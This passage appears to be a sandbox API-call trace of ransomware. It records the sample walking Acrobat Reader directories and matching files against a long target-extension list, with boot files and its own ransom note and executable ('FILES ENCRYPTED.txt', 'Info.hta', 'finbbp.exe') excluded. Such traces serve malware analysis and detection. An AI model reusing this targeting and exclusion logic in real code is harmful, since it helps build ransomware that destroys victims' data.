[0265.713] lstrlenW (lpString=".dic") returned 4 [0265.713] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0265.713] lstrlenW (lpString=".dif") returned 4 [0265.713] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0265.713] lstrlenW (lpString=".divx") returned 5 [0265.713] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0265.713] lstrlenW (lpString=".djvu") returned 5 [0265.713] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0265.713] lstrlenW (lpString=".dng") returned 4 [0265.714] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0265.714] lstrlenW (lpString=".doc") returned 4 [0265.714] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0265.714] lstrlenW (lpString=".docm") returned 5 [0265.714] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0265.714] lstrlenW (lpString=".docx") returned 5 [0265.714] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0265.714] lstrlenW (lpString=".dot") returned 4 [0265.714] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0265.714] lstrlenW (lpString=".dotm") returned 5 [0265.714] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0265.714] lstrlenW (lpString=".dotx") returned 5 [0265.714] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0265.714] lstrlenW (lpString=".dpx") returned 4 [0265.714] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0265.714] lstrlenW (lpString=".dqy") returned 4 [0265.714] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0265.714] lstrlenW (lpString=".dsn") returned 4 [0265.714] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0265.714] lstrlenW (lpString=".dt") returned 3 [0265.714] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0265.714] lstrlenW (lpString=".dtd") returned 4 [0265.714] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0265.714] lstrlenW (lpString=".dwg") returned 4 [0265.715] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0265.715] lstrlenW (lpString=".dwt") returned 4 [0265.715] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0265.715] lstrlenW (lpString=".dx") returned 3 [0265.715] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0265.715] lstrlenW (lpString=".dxf") returned 4 [0265.715] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0265.715] lstrlenW (lpString=".edml") returned 5 [0265.715] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0265.715] lstrlenW (lpString=".efd") returned 4 [0265.715] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0265.715] lstrlenW (lpString=".elf") returned 4 [0265.715] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0265.715] lstrlenW (lpString=".emf") returned 4 [0265.715] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0265.715] lstrlenW (lpString=".emz") returned 4 [0265.715] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0265.715] lstrlenW (lpString=".epf") returned 4 [0265.715] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0265.715] lstrlenW (lpString=".eps") returned 4 [0265.715] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0265.716] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.716] FindClose (in: hFindFile=0x3315cf0 | out: hFindFile=0x3315cf0) returned 1 [0265.716] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0265.716] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0265.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0265.716] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de") returned 106 [0265.716] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33157f0 [0265.717] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.717] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.717] lstrlenW (lpString="ui-strings.js") returned 13 [0265.717] lstrlenW (lpString=".1cd") returned 4 [0265.717] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0265.717] lstrlenW (lpString=".3ds") returned 4 [0265.717] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0265.717] lstrlenW (lpString=".3fr") returned 4 [0265.717] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0265.717] lstrlenW (lpString=".3g2") returned 4 [0265.717] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0265.718] lstrlenW (lpString=".3gp") returned 4 [0265.718] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0265.718] lstrlenW (lpString=".7z") returned 3 [0265.718] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0265.718] lstrlenW (lpString=".accda") returned 6 [0265.718] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0265.718] lstrlenW (lpString=".accdb") returned 6 [0265.718] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0265.718] lstrlenW (lpString=".accdc") returned 6 [0265.718] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0265.718] lstrlenW (lpString=".accde") returned 6 [0265.718] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0265.718] lstrlenW (lpString=".accdt") returned 6 [0265.718] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0265.718] lstrlenW (lpString=".accdw") returned 6 [0265.718] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0265.718] lstrlenW (lpString=".adb") returned 4 [0265.718] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0265.718] lstrlenW (lpString=".adp") returned 4 [0265.718] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0265.718] lstrlenW (lpString=".ai") returned 3 [0265.718] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0265.718] lstrlenW (lpString=".ai3") returned 4 [0265.718] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0265.719] lstrlenW (lpString=".ai4") returned 4 [0265.719] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0265.719] lstrlenW (lpString=".ai5") returned 4 [0265.719] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0265.719] lstrlenW (lpString=".ai6") returned 4 [0265.719] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0265.719] lstrlenW (lpString=".ai7") returned 4 [0265.719] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0265.719] lstrlenW (lpString=".ai8") returned 4 [0265.719] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0265.719] lstrlenW (lpString=".anim") returned 5 [0265.719] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0265.719] lstrlenW (lpString=".arw") returned 4 [0265.719] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0265.719] lstrlenW (lpString=".as") returned 3 [0265.719] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0265.719] lstrlenW (lpString=".asa") returned 4 [0265.719] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0265.719] lstrlenW (lpString=".asc") returned 4 [0265.719] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0265.719] lstrlenW (lpString=".ascx") returned 5 [0265.719] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0265.719] lstrlenW (lpString=".asm") returned 4 [0265.719] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0265.719] lstrlenW (lpString=".asmx") returned 5 [0265.719] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0265.720] lstrlenW (lpString=".asp") returned 4 [0265.720] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0265.720] lstrlenW (lpString=".aspx") returned 5 [0265.720] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0265.720] lstrlenW (lpString=".asr") returned 4 [0265.720] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0265.720] lstrlenW (lpString=".asx") returned 4 [0265.720] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0265.720] lstrlenW (lpString=".avi") returned 4 [0265.720] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0265.720] lstrlenW (lpString=".avs") returned 4 [0265.720] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0265.720] lstrlenW (lpString=".backup") returned 7 [0265.720] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0265.720] lstrlenW (lpString=".bak") returned 4 [0265.720] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0265.720] lstrlenW (lpString=".bay") returned 4 [0265.720] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0265.720] lstrlenW (lpString=".bd") returned 3 [0265.720] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0265.720] lstrlenW (lpString=".bin") returned 4 [0265.720] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0265.720] lstrlenW (lpString=".bmp") returned 4 [0265.720] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0265.720] lstrlenW (lpString=".bz2") returned 4 [0265.720] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0265.721] lstrlenW (lpString=".c") returned 2 [0265.721] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0265.721] lstrlenW (lpString=".cdr") returned 4 [0265.721] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0265.721] lstrlenW (lpString=".cer") returned 4 [0265.721] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0265.721] lstrlenW (lpString=".cf") returned 3 [0265.721] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0265.721] lstrlenW (lpString=".cfc") returned 4 [0265.721] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0265.721] lstrlenW (lpString=".cfm") returned 4 [0265.721] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0265.721] lstrlenW (lpString=".cfml") returned 5 [0265.721] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0265.721] lstrlenW (lpString=".cfu") returned 4 [0265.721] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0265.721] lstrlenW (lpString=".chm") returned 4 [0265.721] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0265.721] lstrlenW (lpString=".cin") returned 4 [0265.721] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0265.721] lstrlenW (lpString=".class") returned 6 [0265.721] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0265.721] lstrlenW (lpString=".clx") returned 4 [0265.721] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0265.721] lstrlenW (lpString=".config") returned 7 [0265.721] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0265.721] lstrlenW (lpString=".cpp") returned 4 [0265.722] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0265.722] lstrlenW (lpString=".cr2") returned 4 [0265.722] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0265.722] lstrlenW (lpString=".crt") returned 4 [0265.722] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0265.722] lstrlenW (lpString=".crw") returned 4 [0265.722] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0265.722] lstrlenW (lpString=".cs") returned 3 [0265.722] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0265.722] lstrlenW (lpString=".css") returned 4 [0265.722] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0265.722] lstrlenW (lpString=".csv") returned 4 [0265.722] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0265.722] lstrlenW (lpString=".cub") returned 4 [0265.722] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0265.722] lstrlenW (lpString=".dae") returned 4 [0265.722] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0265.723] lstrlenW (lpString=".dat") returned 4 [0265.723] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0265.723] lstrlenW (lpString=".db") returned 3 [0265.723] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0265.723] lstrlenW (lpString=".dbf") returned 4 [0265.723] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0265.723] lstrlenW (lpString=".dbx") returned 4 [0265.723] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0265.723] lstrlenW (lpString=".dc3") returned 4 [0265.723] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0265.723] lstrlenW (lpString=".dcm") returned 4 [0265.723] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0265.723] lstrlenW (lpString=".dcr") returned 4 [0265.723] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0265.723] lstrlenW (lpString=".der") returned 4 [0265.723] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0265.723] lstrlenW (lpString=".dib") returned 4 [0265.723] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0265.723] lstrlenW (lpString=".dic") returned 4 [0265.723] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0265.723] lstrlenW (lpString=".dif") returned 4 [0265.723] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0265.723] lstrlenW (lpString=".divx") returned 5 [0265.723] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0265.723] lstrlenW (lpString=".djvu") returned 5 [0265.723] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0265.723] lstrlenW (lpString=".dng") returned 4 [0265.724] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0265.724] lstrlenW (lpString=".doc") returned 4 [0265.724] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0265.724] lstrlenW (lpString=".docm") returned 5 [0265.724] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0265.724] lstrlenW (lpString=".docx") returned 5 [0265.724] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0265.724] lstrlenW (lpString=".dot") returned 4 [0265.724] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0265.724] lstrlenW (lpString=".dotm") returned 5 [0265.724] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0265.724] lstrlenW (lpString=".dotx") returned 5 [0265.724] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0265.724] lstrlenW (lpString=".dpx") returned 4 [0265.724] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0265.724] lstrlenW (lpString=".dqy") returned 4 [0265.724] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0265.724] lstrlenW (lpString=".dsn") returned 4 [0265.724] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0265.724] lstrlenW (lpString=".dt") returned 3 [0265.724] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0265.724] lstrlenW (lpString=".dtd") returned 4 [0265.724] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0265.724] lstrlenW (lpString=".dwg") returned 4 [0265.724] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0265.724] lstrlenW (lpString=".dwt") returned 4 [0265.725] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0265.725] lstrlenW (lpString=".dx") returned 3 [0265.725] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0265.725] lstrlenW (lpString=".dxf") returned 4 [0265.725] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0265.725] lstrlenW (lpString=".edml") returned 5 [0265.725] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0265.725] lstrlenW (lpString=".efd") returned 4 [0265.725] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0265.725] lstrlenW (lpString=".elf") returned 4 [0265.725] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0265.725] lstrlenW (lpString=".emf") returned 4 [0265.725] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0265.725] lstrlenW (lpString=".emz") returned 4 [0265.725] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0265.725] lstrlenW (lpString=".epf") returned 4 [0265.725] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0265.725] lstrlenW (lpString=".eps") returned 4 [0265.725] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0265.725] lstrlenW (lpString=".epsf") returned 5 [0265.725] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0265.725] lstrlenW (lpString=".epsp") returned 5 [0265.725] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0265.725] lstrlenW (lpString=".erf") returned 4 [0265.725] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0265.725] lstrlenW (lpString=".exr") returned 4 [0265.725] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0265.725] lstrlenW (lpString=".f4v") returned 4 [0265.726] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0265.726] lstrlenW (lpString=".fido") returned 5 [0265.726] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0265.726] lstrlenW (lpString=".flm") returned 4 [0265.726] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0265.726] lstrlenW (lpString=".flv") returned 4 [0265.726] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0265.726] lstrlenW (lpString=".frm") returned 4 [0265.726] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0265.726] lstrlenW (lpString=".fxg") returned 4 [0265.726] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0265.726] lstrlenW (lpString=".geo") returned 4 [0265.726] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0265.726] lstrlenW (lpString=".gif") returned 4 [0265.726] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0265.726] lstrlenW (lpString=".grs") returned 4 [0265.726] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0265.726] lstrlenW (lpString=".gz") returned 3 [0265.726] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0265.726] lstrlenW (lpString=".h") returned 2 [0265.726] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0265.726] lstrlenW (lpString=".hdr") returned 4 [0265.726] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0265.726] lstrlenW (lpString=".hpp") returned 4 [0265.726] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0265.727] lstrlenW (lpString=".hta") returned 4 [0265.727] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0265.727] lstrlenW (lpString=".htc") returned 4 [0265.727] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0265.727] lstrlenW (lpString=".htm") returned 4 [0265.727] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0265.727] lstrlenW (lpString=".html") returned 5 [0265.727] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0265.727] lstrlenW (lpString=".icb") returned 4 [0265.727] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0265.727] lstrlenW (lpString=".ics") returned 4 [0265.727] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0265.727] lstrlenW (lpString=".iff") returned 4 [0265.727] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0265.727] lstrlenW (lpString=".inc") returned 4 [0265.727] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0265.727] lstrlenW (lpString=".indd") returned 5 [0265.727] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0265.727] lstrlenW (lpString=".ini") returned 4 [0265.727] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0265.727] lstrlenW (lpString=".iqy") returned 4 [0265.727] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0265.727] lstrlenW (lpString=".j2c") returned 4 [0265.727] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0265.727] lstrlenW (lpString=".j2k") returned 4 [0265.727] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0265.727] lstrlenW (lpString=".java") returned 5 [0265.728] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0265.728] lstrlenW (lpString=".jp2") returned 4 [0265.728] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0265.728] lstrlenW (lpString=".jpc") returned 4 [0265.728] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0265.728] lstrlenW (lpString=".jpe") returned 4 [0265.728] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0265.728] lstrlenW (lpString=".jpeg") returned 5 [0265.728] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0265.728] lstrlenW (lpString=".jpf") returned 4 [0265.728] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0265.728] lstrlenW (lpString=".jpg") returned 4 [0265.728] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0265.728] lstrlenW (lpString=".jpx") returned 4 [0265.728] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0265.728] lstrlenW (lpString=".js") returned 3 [0265.728] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0265.728] lstrlenW (lpString="ui-strings.js") returned 13 [0265.728] lstrlenW (lpString=".love$") returned 6 [0265.728] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0265.728] lstrlenW (lpString="ui-strings.js") returned 13 [0265.728] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0265.728] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0265.728] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0265.728] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0265.728] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0265.729] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0265.729] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0265.729] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0265.729] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js") returned 120 [0265.729] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.729] FindClose (in: hFindFile=0x33157f0 | out: hFindFile=0x33157f0) returned 1 [0265.729] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0265.729] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0265.729] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae") returned 106 [0265.729] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae") returned 1 [0265.729] lstrlenW (lpString="en-ae") returned 5 [0265.729] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-ae") returned -1 [0265.729] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0265.729] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae") returned 106 [0265.729] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315af0 [0265.730] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, 